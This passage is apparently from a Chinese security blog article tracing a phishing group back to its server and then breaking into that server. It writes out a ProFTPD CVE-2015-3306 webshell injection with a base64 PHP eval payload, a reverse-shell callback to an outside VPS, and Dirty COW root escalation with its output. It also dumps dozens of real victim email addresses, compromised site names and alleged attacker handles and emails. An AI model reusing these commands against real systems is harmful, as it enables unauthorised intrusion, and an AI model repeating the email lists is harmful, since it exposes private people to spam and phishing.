IP: 198.143.57.5 来自: 美国 Incapsula
IP: 198.143.32.10 来自: 美国 Incapsula
......
这个网站由于日志不全提取出的IP大都是爬虫IP所以不纳入最终的汇总。
4.5.3 发现钓鱼程序
网站 zebramedia.al 上发现多个攻击者放置的钓鱼程序和模板。
针对Dropbox
针对Gmail
4.6 关联分析
使用之前得到的后门文件中的关键字config.php
对这3个网站文件进行匹配发现其中2个存在相同后门文件并且文件MD5值相同。
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}'
./rosturplast.com/www/rosturplast.com/shells/config.php
./mirohaviar.sk/www/config.php
./zebramedia.al/www/zebramedia.al/config.php
./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
后门文件MD5
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sum
e5c06f1f66781ba5c39d909096c4cd47 ./rosturplast.com/www/rosturplast.com/shells/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./mirohaviar.sk/www/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./zebramedia.al/www/zebramedia.al/config.php
e5c06f1f66781ba5c39d909096c4cd47./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
五、渗透攻击者肉鸡服务器
5.1 漏洞扫描
目标187.85.134.4
[+] HOST: 187.85.134.4巴西
[+] OS: Ubuntu
[+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19
[+] CMS: 未知
nmap --script=firewalk --traceroute 187.85.134.4
5. 漏洞利用
端口扫描发现目标 FTP Server为ProFTPd 1.3.4a
这个版本和1.3.5
存在未授权文件复制漏洞我们可以通过这个漏洞往Web目录写入一个WebShell。
ProFTPd 1.3.5 Remote Command ExecutionCVE-2015-3306
ProFTPD中使用的mod_copy模块存在未授权访问风险导致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp的情况被外部黑客所利用对系统文件进行任意复制。
5. 获取权限
使用用MSF执行
得到一个cmd功能的WebShell
写入中国菜刀客户端
http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -d >/var/www/index2.php
5.3 文件分析
在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。
5.3.1 钓鱼模板
图示是针对丹麦丹斯克银行Danske Bank和希腊阿尔法银行Alpha Bank的邮件钓鱼样本。
5.3.2 僵尸网络程序
5.3.3 DDOS脚本
5.3.4 邮箱地址
统计目录下的 txt 文本数量发现共有六十二万四千个邮箱地址。
⚡ root@kali /tmp/187.85.134.4/www/cacat wc -l *.txt
624000 总用量
主流邮箱检索
⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -n 20
a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.com
a0000001.txt:a.l.v.ertadsmileyksso@gmail.com
a0000001.txt:a.lfer.gm@gmail.com
a0000001.txt:a.lieseijsink@gmail.com
a0000001.txt:a.linkhusen@gmail.com
a0000001.txt:a.loldrup@gmail.com
a0000001.txt:a.lovendahl@gmail.com
a0000001.txt:a.lv.e.rtadsmileyksso@gmail.com
a0000001.txt:a.lver.tadsmileyksso@gmail.com
a0000001.txt:a.m.edsberg@gmail.com
a0000001.txt:a.m.morcke@gmail.com
a0000001.txt:a.m.quist@gmail.com
a0000001.txt:a.m.svendsen@gmail.com
a0000001.txt:a.merete.p@gmail.com
a0000001.txt:a.mette.sm@gmail.com
a0000001.txt:a.miller8111@gmail.com
a0000001.txt:a.moejbaek@gmail.com
a0000001.txt:a.moltkehansen@gmail.com
a0000001.txt:a.munktved@gmail.com
a0000001.txt:a.n.knutzen@gmail.com
⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@outlook.com" *.txt |head -n 20
a0000001.txt:a.m.westra@outlook.com
a0000001.txt:a.olsen@outlook.com
a0000002.txt:aagren@outlook.com
a0000003.txt:aandanimalcity@outlook.com
a0000003.txt:aarhus-ungegruppe@outlook.com
a0000004.txt:aase.lousdal@outlook.com
a0000006.txt:abroschultz@outlook.com
a0000008.txt:adamfred2@outlook.com
a0000008.txt:adexecsolution@outlook.com
a0000010.txt:adrian.f.a.svendsen@outlook.com
a0000015.txt:aiah@outlook.com
a0000015.txt:aimeegarcia584@outlook.com
a0000016.txt:ajolicoeu@outlook.com
a0000018.txt:akstrup@outlook.com
a0000020.txt:alexander_bangsborg@outlook.com
a0000020.txt:alexanderkopke@outlook.com
a0000020.txt:ali__sivan@outlook.com
a0000021.txt:alicegerner@outlook.com
a0000022.txt:allanjeppesen@outlook.com
a0000023.txt:allworlduseu@outlook.com
⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@163.com" *.txt |head -n 20
a0000001.txt:a31a18615@163.com
a0000001.txt:a398c671@163.com
a0000059.txt:backlink0321@163.com
a0000061.txt:banqianm8256@163.com
a0000075.txt:bf86ad32@163.com
a0000121.txt:cbb146672@163.com
a0000129.txt:chenbin800519@163.com
a0000134.txt:chuofuh3082@163.com
a0000157.txt:davidhuang001@163.com
a0000162.txt:dfjiuew@163.com
a0000209.txt:f08dbf326@163.com
a0000213.txt:fanxued79193@163.com
a0000221.txt:fjfzpy@163.com
a0000227.txt:fon@163.com
a0000259.txt:guangdk@163.com
a0000311.txt:huhuanqiang00161@163.com
5.4 提权
5.4.1 CVE-2013-2094CVE-2013-1763提权
查看apache日志目录发现没有权限。
[/var/www/]$ls -al /var/log/apache2/
ls: cannot open directory /var/log/apache2/: Permission denied
内核版本为3.5.0-23
尝试提权。
[/var/www/]$cat /etc/issue
Ubuntu 12.04.2 LTS \n \l
[/var/www/]$uname -an
Linux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013 GNU/Linux
WebShell反弹
[/var/www/]$cd /var/tmp;./pty xxx.xxx.xxx.xxx 443
外网VPS监听
socat file:`tty`,echo=0,raw tcp-listen:443
实际测试CVE-2013-2094CVE-2013-1763
均无法提权。
CVE-2013-2094
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu
12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)
CVE-2013-1763
Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation
5.4.2 脏牛提权
祭出大杀器CVE-2016-5195脏牛 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。
在本地环境提权测试过程中发现i386架构下使用cowroot提权时EXP会破坏源文件导致提权失败。而使用dirtycow-mem仅修改内存则没有问题但是存在内核崩溃的风险。这两个EXP都是利用/proc/self/mem提权前一个修改文件后一个修改内存。
如图所示
使用dirtycow-mem.c提权时需要注意i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径否则执行时找不到文件。
#define SHELLCODE "\x31\xc0\xc3"
#define SPACE_SIZE 256
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" ## 改为 /lib/i386-linux-gnu/libc.so.6
#define LOOP 0x1000000
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
Give me root :提权成功。
www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
www-data@medidor2:/tmp$ ls
hello
www-data@medidor2:/tmp$ chmod +x hello
www-data@medidor2:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@medidor2:/tmp$ ./hello
[*] range: b7573000-b7716000]
[*] getuid = b762bd10
[*] mmap 0xb73cb000
[*] exploiting (patch)
[*] patched (madviseThread)
[*] patched (procselfmemThread)
root@medidor2:/tmp# [*] exploiting (unpatch)
[*] unpatched: uid=33 (madviseThread)
[*] unpatched: uid=33 (procselfmemThread)
root@medidor2:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
打包Apache日志。
✘ ⚡ root@kali ls /var/log/apache2
access error other_vhosts_access.log
✘ ⚡ root@kali tar zcvf /var/www/apache2-log.tar.gz /var/log/apache2/
✘ ⚡ root@kali /tmp ltor wget http://187.85.134.4/apache2-log.tar.gz
[proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf
[proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so
[proxychains] DLL init
--2019-01-09 22:09:00-- http://187.85.134.4/apache2-log.tar.gz
正在连接 187.85.134.4:80... [proxychains] Strict chain ... 127.0.0.1:9050 ... 187.85.134.4:80 ... OK
已连接。
已发出 HTTP 请求正在等待回应... 200 OK
长度9258688 (8.8M) [application/x-gzip]
正在保存至: “apache2-log.tar.gz”
apache2-log.tar.gz 100%[===================>] 8.83M 29.6KB/s 用时 5m 45s
201-11-11 11:11:11 (26.2 KB/s) - 已保存 “apache2-log.tar.gz” [9258688/9258688])
5.5 分析日志
分析IP访问情况
⚡ root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
95 185.56.80.138
77 197.211.60.52
70 67.71.3.8
59 207.35.210.35
41 99.226.207.46
41 193.215.40.238
39 197.211.59.163
38 82.61.95.132
38 66.249.73.95
37 76.26.34.181
37 197.234.221.77
31 105.112.27.60
29 105.112.23.41
20 109.166.138.68
16 66.249.79.61
16 197.211.61.18
14 212.100.77.191
12 197.234.221.210
8 66.249.79.35
8 66.249.73.64
7 154.118.69.165
5 66.249.73.67
......
⚡ root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 185.56.80.138 来自: 荷兰
IP: 197.211.60.52 来自: 尼日利亚
IP: 67.71.3.8 来自: 加拿大
IP: 207.35.210.35 来自: 加拿大
IP: 99.226.207.46 来自: 加拿大
IP: 193.215.40.238 来自: 挪威
IP: 197.211.59.163 来自: 尼日利亚
IP: 82.61.95.132 来自: 意大利
IP: 66.249.73.95 来自: Google 骨干网
IP: 76.26.34.181 来自: 美国
IP: 197.234.221.77 来自: 贝宁
IP: 105.112.27.60 来自: 尼日利亚
IP: 105.112.23.41 来自: 尼日利亚
IP: 109.166.138.68 来自: 罗马尼亚
IP: 66.249.79.61 来自: Google 骨干网
IP: 197.211.61.18 来自: 尼日利亚
IP: 212.100.77.191 来自: 尼日利亚
IP: 197.234.221.210 来自: 贝宁
IP: 66.249.79.35 来自: Google 骨干网
IP: 66.249.73.64 来自: Google 骨干网
IP: 154.118.69.165 来自: 尼日利亚
IP: 66.249.73.67 来自: Google 骨干网
......
根据路径名判断疑似受害者访问了钓鱼页面。
⚡ root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"
207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR""Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167"http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
查看web目录下txt文件访问情况总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。
grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort-t " " -k 1 -n -r >ip.txt
⚡ root@kali ~/Desktop wc -l ip.txt
10101 ip.txt
5.6 访问IP热力图
5.6.1 IP转经纬度坐标
将获得的IP转换成经纬度坐标再通过百度地图API生成热力图
将IP转换成经纬度坐标脚本
ip2xy.py
生成经纬度坐标文件point.js
全球IP库GeoLiteCity.dat
#!/usr/bin/python
#coding:utf-8
import pandas as pd
import pygeoip
import types
import sys
gi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE)
def getLocal(ip):
if type(ip) != types.StringType:
print ip
return
location = gi.record_by_addr(ip)
if location is None:
print ip
return
lng = location['longitude']
lat = location['latitude']
str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n'
print ip,lng,lat,str_temp
file.write(str_temp)
file = open('/tmp/point.js', 'w')
file.write("var points =[\n")
with open("/tmp/ip.txt") as f:
i = 0
for ip in f.readlines():
getLocal(ip)
file.write("];\n")
file.close()
5.6.2 调用百度地图API
本地调用百度地图 JavaScript API map.html
<!DOCTYPE html>
<html lang="en">
<head>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
<script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填写自己的百度AK"></script>
<script type="text/javascript" src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script>
<script type="text/javascript" src="./point.js"></script>
<title>热力图功能示例</title>
<style type="text/css">
ul,li{list-style: none;margin:0;padding:0;float:left;}
html{height:100%}
body{height:100%;margin:0px;padding:0px;font-family:"微软雅黑";}
#container{height:100%;width:100%;}
#r-result{width:100%;}
</style>
</head>
<body>
<div id="container"></div>
<div id="r-result" style="display:none">
<input type="button" onclick="openHeatmap();" value="显示热力图"/><input type="button" onclick="closeHeatmap();"value="关闭热力图"/>
</div>
</body>
</html>
<script type="text/javascript">
var map = new BMap.Map("container"); // 创建地图实例
var point = new BMap.Point(34.0224714118,109.0786868715);
map.centerAndZoom(point, 6); // 初始化地图设置中心点坐标和地图级别
map.setCurrentCity("西安"); //设置当前显示城市
map.enableScrollWheelZoom(); // 允许滚轮缩放
if(!isSupportCanvas()){
alert('热力图目前只支持有canvas支持的浏览器,您所使用的浏览器不能使用热力图功能~')
}
//详细的参数,可以查看heatmap.js的文档 https://github.com/pa7/heatmap.js/blob/master/README.md
//参数说明如下:
/* visible 热力图是否显示,默认为true
* opacity 热力的透明度,1-100
* radius 势力图的每个点的半径大小
* gradient {JSON} 热力图的渐变区间 . gradient如下所示
* {
.2:'rgb(0, 255, 255)',
.5:'rgb(0, 110, 255)',
.8:'rgb(100, 0, 255)'
}
其中 key 表示插值的位置, 0~1.
value 为颜色值.
*/
heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});
map.addOverlay(heatmapOverlay);
heatmapOverlay.setDataSet({data:points,max:100});
//closeHeatmap();
//判断浏览区是否支持canvas
function isSupportCanvas(){
var elem = document.createElement('canvas');
return !!(elem.getContext && elem.getContext('2d'));
}
function setGradient(){
/*格式如下所示:
{
0:'rgb(102, 255, 0)',
.5:'rgb(255, 170, 0)',
1:'rgb(255, 0, 0)'
}*/
var gradient = {};
var colors = document.querySelectorAll("input[type='color']");
colors = [].slice.call(colors,0);
colors.forEach(function(ele){
gradient[ele.getAttribute("data-key")] = ele.value;
});
heatmapOverlay.setOptions({"gradient":gradient});
}
function openHeatmap(){
heatmapOverlay.show();
}
function closeHeatmap(){
heatmapOverlay.hide();
}
</script>
</body>
</html>
5.6.3 生成热力图
如图所示欧洲IP居多亚洲也不少。至于有多少主机沦陷和多少受害者上钩无法准确判断。
六、信息汇总
根据所得信息汇总对这个黑客组织信息进行简单分析仅供参考。
6.1 组织信息
名称
Muslim Cyber Corp – Mujahidin Cyber Army – Family Attack Cyber
地区
巴勒斯坦
成员ID
Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、
./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4
、 AKEMI403
历史邮箱
alexsin54@yahoo.com
jasonchowan223@gmail.com
macacperus@yopmail.com
bidibidibidi@yopmail.com
bidi.pici11@hotmail.com
bidi.cuc@mail.com
flrnvasilica@gmail.com
组织主页
http://mujahidincyberarmy.blogspot.com/
https://www.facebook.com/FamilyAttackCyberOfficial/
6.2 攻击手段
入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序批量传播钓鱼邮件。
攻击目标
早期政治目的居多主要攻击美国政府机构网站和雇员。近期多为商业目的主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。
控制主机
187.85.134.4
常用后门
略
6.3 攻击历史
美国联邦调查局、美国国土安全部、美国司法部
巴勒斯坦黑客已经发布了大约2万名联邦调查局FBI和9,000名国土安全部DHS官员的个人信息
http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html通过钓鱼邮件获得美国司法部权限
http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html
6.4 代理IP
174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731"http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-""Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"
207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729"http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-""Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
212.1.211.3 美国 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-""Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
178.128.221.199 希腊- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
6.5 被黑网站
不完全统计
rosturplast.com
mirohaviar.sk
helioncomposites.com
radiolanalhue.cl
zebramedia.al
www.qtfontebispo.com
www.seoeaze.com
vilapoucadeaguiar.com
proyectosphr.cl
u-p.com
www.humanaconsultores.cl
amsogroup.com
www.tdftechnologies.com
www.bvvagos.pt
www.huellasdigitales.cl
lince.apsl.edu.pl
www.fica.unsl.edu.ar
proyectosphr.cl
www.zlobek.uw.edu.pl
ifr.pt
mail.ijrer.org
www.hkmms.org.hk
historia.apsl.edu.pl
www.homeguide.com.sg
onlinecombos.co.in
umo.apsl.edu.pl
www.bpmp2t.lombokbaratkab.go.id
amsogroup.com
viper.cl
www.teniscavancha.cl
www.estacaomedica.pt
terrarestobar.cl
jf-bragado.pt
helioncomposites.com
notariabasualto.cl
ericdiblasi.com
reinamarltda.cl
cobraz.pt
www.stmarypellaia.com
webcam.wm-itservice.at
七、攻击路径还原
复盘整个溯源过程还原攻击者攻击路径。
以上就是整个溯源过程仅供参考。 欢迎交流。
*本文作者:信陵君魏无忌,转载请注明来自FreeBuf.COM
发表评论